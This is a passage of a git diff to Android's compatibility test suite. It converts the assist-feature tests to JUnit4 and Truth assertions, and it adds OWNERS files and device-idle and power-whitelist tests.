+ * Test-specific setup - doesn't need to call {@code super} neither use <code>@Before</code>.
+ */
+ protected void customSetup() throws Exception {
+ }
+
+ @After
+ public final void tearDown() throws Exception {
+ customTearDown();
mTestActivity.finish();
mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
@@ -146,10 +189,15 @@
m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
}
- super.tearDown();
mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
}
+ /**
+ * Test-specific teardown - doesn't need to call {@code super} neither use <code>@After</code>.
+ */
+ protected void customTearDown() throws Exception {
+ }
+
private void prepareDevice() throws Exception {
Log.d(TAG, "prepareDevice()");
@@ -213,8 +261,7 @@
intent.setAction("android.intent.action.TEST_START_ACTIVITY_" + testName);
intent.putExtra(Utils.TESTCASE_TYPE, testName);
intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK, mRemoteCallback);
- setActivityIntent(intent);
- mTestActivity = getActivity();
+ mTestActivity = mActivityTestRule.launchActivity(intent);
mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
}
@@ -339,23 +386,21 @@
*/
protected void verifyAssistStructure(ComponentName backgroundApp, boolean isSecureWindow) {
// Check component name matches
- assertEquals(backgroundApp.flattenToString(),
- mAssistStructure.getActivityComponent().flattenToString());
+ assertThat(mAssistStructure.getActivityComponent().flattenToString())
+ .isEqualTo(backgroundApp.flattenToString());
long acquisitionStart = mAssistStructure.getAcquisitionStartTime();
long acquisitionEnd = mAssistStructure.getAcquisitionEndTime();
- assertTrue(acquisitionStart > 0);
- assertTrue(acquisitionEnd > 0);
- assertTrue(acquisitionEnd >= acquisitionStart);
+ assertThat(acquisitionStart).isGreaterThan(0L);
+ assertThat(acquisitionEnd).isGreaterThan(0L);
+ assertThat(acquisitionEnd).isAtLeast(acquisitionStart);
Log.i(TAG, "Traversing down structure for: " + backgroundApp.flattenToString());
mView = mTestActivity.findViewById(android.R.id.content).getRootView();
verifyHierarchy(mAssistStructure, isSecureWindow);
}
- protected void logContextAndScreenshotSetting() {
- Log.i(TAG, "Context is: " + Settings.Secure.getString(
- mContext.getContentResolver(), "assist_structure_enabled"));
- Log.i(TAG, "Screenshot is: " + Settings.Secure.getString(
- mContext.getContentResolver(), "assist_screenshot_enabled"));
+ protected static void logContextAndScreenshotSetting() {
+ Log.i(TAG, "Context is: " + sStructureEnabledMgr.get());
+ Log.i(TAG, "Screenshot is: " + sScreenshotEnabledMgr.get());
}
/**
@@ -366,7 +411,7 @@
int numWindows = structure.getWindowNodeCount();
// TODO: multiple windows?
- assertEquals("Number of windows don't match", 1, numWindows);
+ assertWithMessage("Number of windows don't match").that(numWindows).isEqualTo(1);
int[] appLocationOnScreen = new int[2];
mView.getLocationOnScreen(appLocationOnScreen);
@@ -375,10 +420,10 @@
Log.i(TAG, "Title: " + windowNode.getTitle());
// Verify top level window bounds are as big as the app and pinned to its top-left
// corner.
- assertEquals("Window left position wrong: was " + windowNode.getLeft(),
- windowNode.getLeft(), appLocationOnScreen[0]);
- assertEquals("Window top position wrong: was " + windowNode.getTop(),
- windowNode.getTop(), appLocationOnScreen[1]);
+ assertWithMessage("Window left position wrong: was %s", windowNode.getLeft())
+ .that(appLocationOnScreen[0]).isEqualTo(windowNode.getLeft());
+ assertWithMessage("Window top position wrong: was %s", windowNode.getTop())
+ .that(appLocationOnScreen[1]).isEqualTo(windowNode.getTop());
traverseViewAndStructure(
mView,
windowNode.getRootViewNode(),
@@ -421,7 +466,7 @@
}
Log.i(TAG, "Node ID: " + parentNode.getIdEntry());
- assertEquals("IDs do not match", parentViewId, parentNode.getIdEntry());
+ assertWithMessage("IDs do not match").that(parentNode.getIdEntry()).isEqualTo(parentViewId);
int numViewChildren = 0;
int numNodeChildren = 0;
@@ -431,22 +476,26 @@
numNodeChildren = parentNode.getChildCount();
if (isSecureWindow) {
- assertTrue("ViewNode property isAssistBlocked is false", parentNode.isAssistBlocked());
- assertEquals("Secure window should only traverse root node.", 0, numNodeChildren);
+ assertWithMessage("ViewNode property isAssistBlocked is false")
+ .that(parentNode.isAssistBlocked()).isTrue();
+ assertWithMessage("Secure window should only traverse root node")
+ .that(numNodeChildren).isEqualTo(0);
isSecureWindow = false;
} else if (parentNode.getClassName().equals("android.webkit.WebView")) {
// WebView will also appear to have no children while the node does, traverse node
- assertTrue("AssistStructure returned a WebView where the view wasn't one",
- parentView instanceof WebView);
+ assertWithMessage("AssistStructure returned a WebView where the view wasn't one").that(
+ parentView instanceof WebView).isTrue();
boolean textInWebView = false;
for (int i = numNodeChildren - 1; i >= 0; i--) {
textInWebView |= traverseWebViewForText(parentNode.getChildAt(i));
}
- assertTrue("Did not find expected strings inside WebView", textInWebView);
+ assertWithMessage("Did not find expected strings inside WebView").that(textInWebView)
+ .isTrue();
} else {
- assertEquals("Number of children did not match.", numViewChildren, numNodeChildren);
+ assertWithMessage("Number of children did not match").that(numNodeChildren)
+ .isEqualTo(numViewChildren);
verifyViewProperties(parentView, parentNode);
@@ -459,7 +508,7 @@
ViewNode childNode = parentNode.getChildAt(i);
// if isSecureWindow, should not have reached this point.
- assertFalse(isSecureWindow);
+ assertThat(isSecureWindow).isFalse();
traverseViewAndStructure(childView, childNode, isSecureWindow);
}
}
@@ -485,18 +534,18 @@
* Return true if the expected domain is found in the WebView, else fail.
*/
protected void verifyAssistStructureHasWebDomain(String domain) {
- assertTrue(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
+ assertThat(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
return n.getWebDomain() != null && domain.equals(n.getWebDomain());
- }));
+ })).isTrue();
}
/**
* Return true if the expected LocaleList is found in the WebView, else fail.
*/
protected void verifyAssistStructureHasLocaleList(LocaleList localeList) {
- assertTrue(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
+ assertThat(traverse(mAssistStructure.getWindowNodeAt(0).getRootViewNode(), (n) -> {
return n.getLocaleList() != null && localeList.equals(n.getLocaleList());
- }));
+ })).isTrue();
}
interface ViewNodeVisitor {
@@ -515,30 +564,34 @@
return false;
}
- protected void setFeaturesEnabled(StructureEnabled structure, ScreenshotEnabled screenshot) {
+ protected static void setFeaturesEnabled(StructureEnabled structure,
+ ScreenshotEnabled screenshot) {
Log.i(TAG, "setFeaturesEnabled(" + structure + ", " + screenshot + ")");
- SettingsUtils.syncSet(mContext, ASSIST_STRUCTURE_ENABLED, structure.value);
- SettingsUtils.syncSet(mContext, ASSIST_SCREENSHOT_ENABLED, screenshot.value);
+ sStructureEnabledMgr.set(structure.value);
+ sScreenshotEnabledMgr.set(screenshot.value);
}
/**
* Compare view properties of the view hierarchy with that reported in the assist structure.
*/
private void verifyViewProperties(View parentView, ViewNode parentNode) {
- assertEquals("Left positions do not match.", parentView.getLeft(), parentNode.getLeft());
- assertEquals("Top positions do not match.", parentView.getTop(), parentNode.getTop());
- assertEquals("Opaque flags do not match.", parentView.isOpaque(), parentNode.isOpaque());
+ assertWithMessage("Left positions do not match").that(parentNode.getLeft())
+ .isEqualTo(parentView.getLeft());
+ assertWithMessage("Top positions do not match").that(parentNode.getTop())
+ .isEqualTo(parentView.getTop());
+ assertWithMessage("Opaque flags do not match").that(parentNode.isOpaque())
+ .isEqualTo(parentView.isOpaque());
int viewId = parentView.getId();
if (viewId > 0) {
if (parentNode.getIdEntry() != null) {
- assertEquals("View IDs do not match.",
- mTestActivity.getResources().getResourceEntryName(viewId),
- parentNode.getIdEntry());
+ assertWithMessage("View IDs do not match.").that(parentNode.getIdEntry())
+ .isEqualTo(mTestActivity.getResources().getResourceEntryName(viewId));
}
} else {
- assertNull("View Node should not have an ID.", parentNode.getIdEntry());
+ assertWithMessage("View Node should not have an ID").that(parentNode.getIdEntry())
+ .isNull();
}
Log.i(TAG, "parent text: " + parentNode.getText());
@@ -546,23 +599,26 @@
Log.i(TAG, "view text: " + ((TextView) parentView).getText());
}
-
- assertEquals("Scroll X does not match.", parentView.getScrollX(), parentNode.getScrollX());
- assertEquals("Scroll Y does not match.", parentView.getScrollY(), parentNode.getScrollY());
- assertEquals("Heights do not match.", parentView.getHeight(), parentNode.getHeight());
- assertEquals("Widths do not match.", parentView.getWidth(), parentNode.getWidth());
+ assertWithMessage("Scroll X does not match").that(parentNode.getScrollX())
+ .isEqualTo(parentView.getScrollX());
+ assertWithMessage("Scroll Y does not match").that(parentNode.getScrollY())
+ .isEqualTo(parentView.getScrollY());
+ assertWithMessage("Heights do not match").that(parentNode.getHeight())
+ .isEqualTo(parentView.getHeight());
+ assertWithMessage("Widths do not match").that(parentNode.getWidth())
+ .isEqualTo(parentView.getWidth());
if (parentView instanceof TextView) {
if (parentView instanceof EditText) {
- assertEquals("Text selection start does not match",
- ((EditText) parentView).getSelectionStart(),
- parentNode.getTextSelectionStart());
- assertEquals("Text selection end does not match",
- ((EditText) parentView).getSelectionEnd(),
- parentNode.getTextSelectionEnd());
+ assertWithMessage("Text selection start does not match",
+ parentNode.getTextSelectionStart(),
+ ((EditText) parentView).getSelectionStart());
+ assertWithMessage("Text selection end does not match",
+ parentNode.getTextSelectionEnd(),
+ ((EditText) parentView).getSelectionEnd());
}
TextView textView = (TextView) parentView;
- assertEquals(textView.getTextSize(), parentNode.getTextSize());
+ assertThat(parentNode.getTextSize()).isWithin(0.01F).of(textView.getTextSize());
String viewString = textView.getText().toString();
String nodeString = parentNode.getText().toString();
@@ -570,23 +626,21 @@
Log.i(TAG, "Verifying text within TextView at the beginning");
Log.i(TAG, "view string: " + viewString);
Log.i(TAG, "node string: " + nodeString);
- assertTrue("String length is unexpected: original string - " + viewString.length() +
- ", string in AssistData - " + nodeString.length(),
- viewString.length() >= nodeString.length());
- assertTrue("Expected a longer string to be shown. expected: "
- + Math.min(viewString.length(), 30) + " was: " + nodeString
- .length(),
- nodeString.length() >= Math.min(viewString.length(), 30));
+ assertWithMessage("String length is unexpected: original string - %s, "
+ + "string in AssistData - %s", viewString.length(), nodeString.length())
+ .that(viewString.length()).isAtLeast(nodeString.length());
+ assertWithMessage("Expected a longer string to be shown").that(
+ nodeString.length()).isAtLeast(Math.min(viewString.length(), 30));
for (int x = 0; x < parentNode.getText().length(); x++) {
- assertEquals("Char not equal at index: " + x,
- ((TextView) parentView).getText().toString().charAt(x),
- parentNode.getText().charAt(x));
+ assertWithMessage("Char not equal at index: %s", x).that(
+ parentNode.getText().charAt(x)).isEqualTo(
+ ((TextView) parentView).getText().toString().charAt(x));
}
} else if (parentNode.getScrollX() == parentView.getWidth()) {
}
} else {
- assertNull(parentNode.getText());
+ assertThat(parentNode.getText()).isNull();
}
}
diff --git a/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java b/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java
index a4a28d7..cd1c8bc 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistantContentViewTest.java
@@ -16,12 +16,18 @@
package android.assist.cts;
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
import android.assist.common.AutoResetLatch;
import android.assist.common.Utils;
import android.graphics.Point;
import android.os.Bundle;
import android.util.Log;
+import org.junit.Test;
+
import java.util.concurrent.TimeUnit;
/** Test verifying the Content View of the Assistant */
@@ -31,16 +37,14 @@
private Bundle mBundle;
@Override
- public void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
mActionLatchReceiver = new AssistantReceiver();
startTestActivity(Utils.VERIFY_CONTENT_VIEW);
}
@Override
- public void tearDown() throws Exception {
+ protected void customTearDown() throws Exception {
mBundle = null;
- super.tearDown();
}
private void waitForContentView() throws Exception {
@@ -50,6 +54,7 @@
}
}
+ @Test
public void testAssistantContentViewDimens() throws Exception {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -62,8 +67,8 @@
int height = mBundle.getInt(Utils.EXTRA_CONTENT_VIEW_HEIGHT, 0);
int width = mBundle.getInt(Utils.EXTRA_CONTENT_VIEW_WIDTH, 0);
Point displayPoint = mBundle.getParcelable(Utils.EXTRA_DISPLAY_POINT);
- assertEquals(displayPoint.y, height);
- assertEquals(displayPoint.x, width);
+ assertThat(height).isEqualTo(displayPoint.y);
+ assertThat(width).isEqualTo(displayPoint.x);
}
private class AssistantReceiver extends ActionLatchReceiver {
diff --git a/tests/tests/assist/src/android/assist/cts/DisableContextTest.java b/tests/tests/assist/src/android/assist/cts/DisableContextTest.java
index 11e404f..912c5d7 100644
--- a/tests/tests/assist/src/android/assist/cts/DisableContextTest.java
+++ b/tests/tests/assist/src/android/assist/cts/DisableContextTest.java
@@ -19,6 +19,8 @@
import android.assist.common.Utils;
import android.util.Log;
+import org.junit.Test;
+
/** Test we receive proper assist data when context is disabled or enabled */
public class DisableContextTest extends AssistTestBase {
static final String TAG = "DisableContextTest";
@@ -26,18 +28,17 @@
private static final String TEST_CASE_TYPE = Utils.DISABLE_CONTEXT;
@Override
- public void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
startTestActivity(TEST_CASE_TYPE);
}
@Override
- public void tearDown() throws Exception {
+ public void customTearDown() throws Exception {
setFeaturesEnabled(StructureEnabled.TRUE, ScreenshotEnabled.TRUE);
logContextAndScreenshotSetting();
- super.tearDown();
}
+ @Test
public void testContextAndScreenshotOff() throws Exception {
if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
@@ -53,6 +54,7 @@
verifyAssistDataNullness(true, true, true, true);
}
+ @Test
public void testContextOff() throws Exception {
if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
@@ -68,6 +70,7 @@
verifyAssistDataNullness(false, false, false, true);
}
+ @Test
public void testScreenshotOff() throws Exception {
if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
diff --git a/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java b/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java
index 2acf4e3..d465880 100644
--- a/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ExtraAssistDataTest.java
@@ -21,16 +21,19 @@
import android.os.Bundle;
import android.util.Log;
+import org.junit.Test;
+
+import static com.google.common.truth.Truth.assertWithMessage;
public class ExtraAssistDataTest extends AssistTestBase {
private static final String TAG = "ExtraAssistDataTest";
private static final String TEST_CASE_TYPE = Utils.EXTRA_ASSIST;
@Override
- public void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
startTestActivity(TEST_CASE_TYPE);
}
+ @Test
public void testAssistContentAndAssistData() throws Exception {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -46,20 +49,22 @@
Log.i(TAG, "assist bundle is: " + Utils.toBundleString(mAssistBundle));
// first tests that the assist content's structured data is the expected
- assertEquals("AssistContent structured data did not match data in onProvideAssistContent",
- Utils.getStructuredJSON(), mAssistContent.getStructuredData());
+ assertWithMessage(
+ "AssistContent structured data did not match data in onProvideAssistContent").that(
+ mAssistContent.getStructuredData()).isEqualTo(Utils.getStructuredJSON());
Bundle extraExpectedBundle = Utils.getExtraAssistBundle();
Bundle extraAssistBundle = mAssistBundle.getBundle(Intent.EXTRA_ASSIST_CONTEXT);
for (String key : extraExpectedBundle.keySet()) {
- assertTrue("Assist bundle does not contain expected extra context key: " + key,
- extraAssistBundle.containsKey(key));
- assertEquals("Extra assist context bundle values do not match for key: " + key,
- extraExpectedBundle.get(key), extraAssistBundle.get(key));
+ assertWithMessage("Assist bundle does not contain expected extra context key: %s", key)
+ .that(extraAssistBundle.containsKey(key)).isTrue();
+ assertWithMessage("Extra assist context bundle values do not match for key: %s", key)
+ .that(extraAssistBundle.get(key)).isEqualTo(extraExpectedBundle.get(key));
}
// then test the EXTRA_ASSIST_UID
int expectedUid = Utils.getExpectedUid(extraAssistBundle);
int actualUid = mAssistBundle.getInt(Intent.EXTRA_ASSIST_UID);
- assertEquals("Wrong value for EXTRA_ASSIST_UID", expectedUid, actualUid);
+ assertWithMessage("Wrong value for EXTRA_ASSIST_UID").that(actualUid)
+ .isEqualTo(expectedUid);
}
}
diff --git a/tests/tests/assist/src/android/assist/cts/FlagSecureTest.java b/tests/tests/assist/src/android/assist/cts/FlagSecureTest.java
index 97573d8..d5724b9 100644
--- a/tests/tests/assist/src/android/assist/cts/FlagSecureTest.java
+++ b/tests/tests/assist/src/android/assist/cts/FlagSecureTest.java
@@ -20,6 +20,8 @@
import android.assist.common.Utils;
import android.util.Log;
+import org.junit.Test;
+
/**
* Test we receive proper assist data (root assistStructure with no children) when the assistant is
* invoked on an app with FLAG_SECURE set.
@@ -30,11 +32,11 @@
private static final String TEST_CASE_TYPE = Utils.FLAG_SECURE;
@Override
- public void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
startTestActivity(TEST_CASE_TYPE);
}
+ @Test
public void testSecureActivity() throws Exception {
if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
diff --git a/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java b/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java
index bc63a43..e4e530a 100644
--- a/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java
+++ b/tests/tests/assist/src/android/assist/cts/FocusChangeTest.java
@@ -16,11 +16,15 @@
package android.assist.cts;
+import static org.junit.Assert.fail;
+
import android.assist.common.AutoResetLatch;
import android.assist.common.Utils;
import android.util.Log;
import android.util.Pair;
+import org.junit.Test;
+
import java.util.concurrent.TimeUnit;
/** Test that triggering the Assistant causes the underlying Activity to lose focus **/
@@ -32,8 +36,7 @@
private AutoResetLatch mHasLostFocusLatch = new AutoResetLatch(1);
@Override
- public void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
mActionLatchReceiver = new ActionLatchReceiver(
Pair.create(Utils.GAINED_FOCUS, mHasGainedFocusLatch),
Pair.create(Utils.LOST_FOCUS, mHasLostFocusLatch)
@@ -56,6 +59,7 @@
}
}
+ @Test
public void testLayerCausesUnderlyingActivityToLoseFocus() throws Exception {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java b/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java
index 05a473e..80647e5 100644
--- a/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java
+++ b/tests/tests/assist/src/android/assist/cts/LargeViewHierarchyTest.java
@@ -20,6 +20,8 @@
import android.assist.common.Utils;
import android.util.Log;
+import org.junit.Test;
+
/**
* Test that the AssistStructure returned is properly formatted.
*/
@@ -28,11 +30,11 @@
private static final String TEST_CASE_TYPE = Utils.LARGE_VIEW_HIERARCHY;
@Override
- protected void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
startTestActivity(TEST_CASE_TYPE);
}
+ @Test
public void testTextView() throws Exception {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/assist/src/android/assist/cts/LifecycleTest.java b/tests/tests/assist/src/android/assist/cts/LifecycleTest.java
index c35f8f0..35cec57 100644
--- a/tests/tests/assist/src/android/assist/cts/LifecycleTest.java
+++ b/tests/tests/assist/src/android/assist/cts/LifecycleTest.java
@@ -16,11 +16,15 @@
package android.assist.cts;
+import static org.junit.Assert.fail;
+
import android.assist.common.AutoResetLatch;
import android.assist.common.Utils;
import android.os.Bundle;
import android.util.Log;
+import org.junit.Test;
+
import java.util.concurrent.TimeUnit;
/** Test we receive proper assist data when context is disabled or enabled */
@@ -41,8 +45,7 @@
private boolean mLostFocusIsLifecycle;
@Override
- public void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
mActionLatchReceiver = new LifecycleTestReceiver();
mLostFocusIsLifecycle = false;
startTestActivity(TEST_CASE_TYPE);
@@ -75,6 +78,7 @@
}
}
+ @Test
public void testLayerDoesNotTriggerLifecycleMethods() throws Exception {
if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
@@ -100,6 +104,7 @@
waitForDestroy();
}
+ @Test
public void testNoUiLayerDoesNotTriggerLifecycleMethods() throws Exception {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
index dcc3be0..c9d16c8 100644
--- a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
@@ -16,24 +16,28 @@
package android.assist.cts;
+import static com.google.common.truth.Truth.assertThat;
+
import android.assist.common.AutoResetLatch;
import android.assist.common.Utils;
import android.graphics.Color;
import android.os.Bundle;
import android.util.Log;
+import org.junit.Test;
+
public class ScreenshotTest extends AssistTestBase {
static final String TAG = "ScreenshotTest";
private static final String TEST_CASE_TYPE = Utils.SCREENSHOT;
@Override
- protected void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
// start test start activity
startTestActivity(TEST_CASE_TYPE);
}
+ @Test
public void testRedScreenshot() throws Throwable {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -50,10 +54,11 @@
eventuallyWithSessionClose(() -> {
delayAndStartSession(Color.RED);
verifyAssistDataNullness(false, false, false, false);
- assertTrue(mScreenshotMatches);
+ assertThat(mScreenshotMatches).isTrue();
});
}
+ @Test
public void testGreenScreenshot() throws Throwable {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -70,10 +75,11 @@
eventuallyWithSessionClose(() -> {
delayAndStartSession(Color.GREEN);
verifyAssistDataNullness(false, false, false, false);
- assertTrue(mScreenshotMatches);
+ assertThat(mScreenshotMatches).isTrue();
});
}
+ @Test
public void testBlueScreenshot() throws Throwable {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
@@ -90,7 +96,7 @@
eventuallyWithSessionClose(() -> {
delayAndStartSession(Color.BLUE);
verifyAssistDataNullness(false, false, false, false);
- assertTrue(mScreenshotMatches);
+ assertThat(mScreenshotMatches).isTrue();
});
}
diff --git a/tests/tests/assist/src/android/assist/cts/TextViewTest.java b/tests/tests/assist/src/android/assist/cts/TextViewTest.java
index 6b06442..78c0a52 100644
--- a/tests/tests/assist/src/android/assist/cts/TextViewTest.java
+++ b/tests/tests/assist/src/android/assist/cts/TextViewTest.java
@@ -21,6 +21,8 @@
import android.os.Bundle;
import android.util.Log;
+import org.junit.Test;
+
/**
* Test that the AssistStructure returned is properly formatted.
*/
@@ -29,11 +31,11 @@
private static final String TEST_CASE_TYPE = Utils.TEXTVIEW;
@Override
- protected void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
startTestActivity(TEST_CASE_TYPE);
}
+ @Test
public void testTextView() throws Exception {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/assist/src/android/assist/cts/WebViewTest.java b/tests/tests/assist/src/android/assist/cts/WebViewTest.java
index 75fc0ba..a7f9329 100644
--- a/tests/tests/assist/src/android/assist/cts/WebViewTest.java
+++ b/tests/tests/assist/src/android/assist/cts/WebViewTest.java
@@ -16,11 +16,15 @@
package android.assist.cts;
+import static org.junit.Assert.fail;
+
import android.assist.common.AutoResetLatch;
import android.assist.common.Utils;
import android.content.pm.PackageManager;
import android.util.Log;
+import org.junit.Test;
+
import java.util.concurrent.TimeUnit;
/**
@@ -33,8 +37,7 @@
private final AutoResetLatch mTestWebViewLatch = new AutoResetLatch();
@Override
- protected void setUp() throws Exception {
- super.setUp();
+ protected void customSetup() throws Exception {
mActionLatchReceiver = new ActionLatchReceiver(Utils.TEST_ACTIVITY_WEBVIEW_LOADED, mTestWebViewLatch);
startTestActivity(TEST_CASE_TYPE);
}
@@ -46,6 +49,7 @@
}
}
+ @Test
public void testWebView() throws Throwable {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
diff --git a/tests/tests/background/OWNERS b/tests/tests/background/OWNERS
new file mode 100644
index 0000000..ec12f79
--- /dev/null
+++ b/tests/tests/background/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 330055
+include /tests/app/OWNERS
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
index 032d2bf..b0007e2 100644
--- a/tests/tests/batterysaving/Android.bp
+++ b/tests/tests/batterysaving/Android.bp
@@ -22,6 +22,7 @@
"mockito-target-minus-junit4",
"compatibility-device-util-axt",
"ctstestrunner-axt",
+ "platformprotosnano",
"truth-prebuilt",
"ub-uiautomator",
],
diff --git a/tests/tests/batterysaving/OWNERS b/tests/tests/batterysaving/OWNERS
new file mode 100644
index 0000000..1fe2293
--- /dev/null
+++ b/tests/tests/batterysaving/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 330055
+omakoto@google.com
+yamasani@google.com
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index e2cf479..3db9dbb 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -34,6 +34,9 @@
import com.android.compatibility.common.util.BatteryUtils;
import com.android.compatibility.common.util.BeforeAfterRule;
import com.android.compatibility.common.util.OnFailureRule;
+import com.android.compatibility.common.util.ProtoUtils;
+import com.android.server.job.nano.JobSchedulerServiceDumpProto;
+import com.android.server.job.nano.StateControllerProto;
import org.junit.Rule;
import org.junit.rules.RuleChain;
@@ -96,9 +99,19 @@
}
public void waitUntilJobForceAppStandby(boolean expected) throws Exception {
- waitUntil("Force all apps standby still " + !expected + " (job)", () ->
- runShellCommand("dumpsys jobscheduler")
- .contains("Force all apps standby: " + expected));
+ waitUntil("Force all apps standby still " + !expected + " (job)", () -> {
+ JobSchedulerServiceDumpProto proto = ProtoUtils.getProto(
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ JobSchedulerServiceDumpProto.class,
+ ProtoUtils.DUMPSYS_JOB_SCHEDULER);
+ for (StateControllerProto controllerProto : proto.controllers) {
+ if (controllerProto.hasBackground()) {
+ return controllerProto.getBackground().appStateTracker.forceAllAppsStandby
+ == expected;
+ }
+ }
+ return false;
+ });
}
public void waitUntilForceBackgroundCheck(boolean expected) throws Exception {
diff --git a/tests/tests/batterysaving/src/android/os/cts/deviceidle/DeviceIdleTest.java b/tests/tests/batterysaving/src/android/os/cts/deviceidle/DeviceIdleTest.java
new file mode 100644
index 0000000..20410e7
--- /dev/null
+++ b/tests/tests/batterysaving/src/android/os/cts/deviceidle/DeviceIdleTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.os.cts.deviceidle;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.os.PowerManager;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DeviceIdleTest {
+ @Test
+ public void testDeviceIdleManager() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ assertNotNull(context.getSystemService(Context.DEVICE_IDLE_CONTROLLER));
+ }
+
+ @Test
+ public void testPowerManagerIgnoringBatteryOptimizations() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+
+ assertTrue(context.getSystemService(PowerManager.class)
+ .isIgnoringBatteryOptimizations("com.android.shell"));
+ assertFalse(context.getSystemService(PowerManager.class)
+ .isIgnoringBatteryOptimizations("no.such.package.!!!"));
+ }
+
+}
diff --git a/tests/tests/batterysaving/src/android/os/cts/powerwhitelist/PowerWhitelistTest.java b/tests/tests/batterysaving/src/android/os/cts/powerwhitelist/PowerWhitelistTest.java
new file mode 100644
index 0000000..b1fb840
--- /dev/null
+++ b/tests/tests/batterysaving/src/android/os/cts/powerwhitelist/PowerWhitelistTest.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
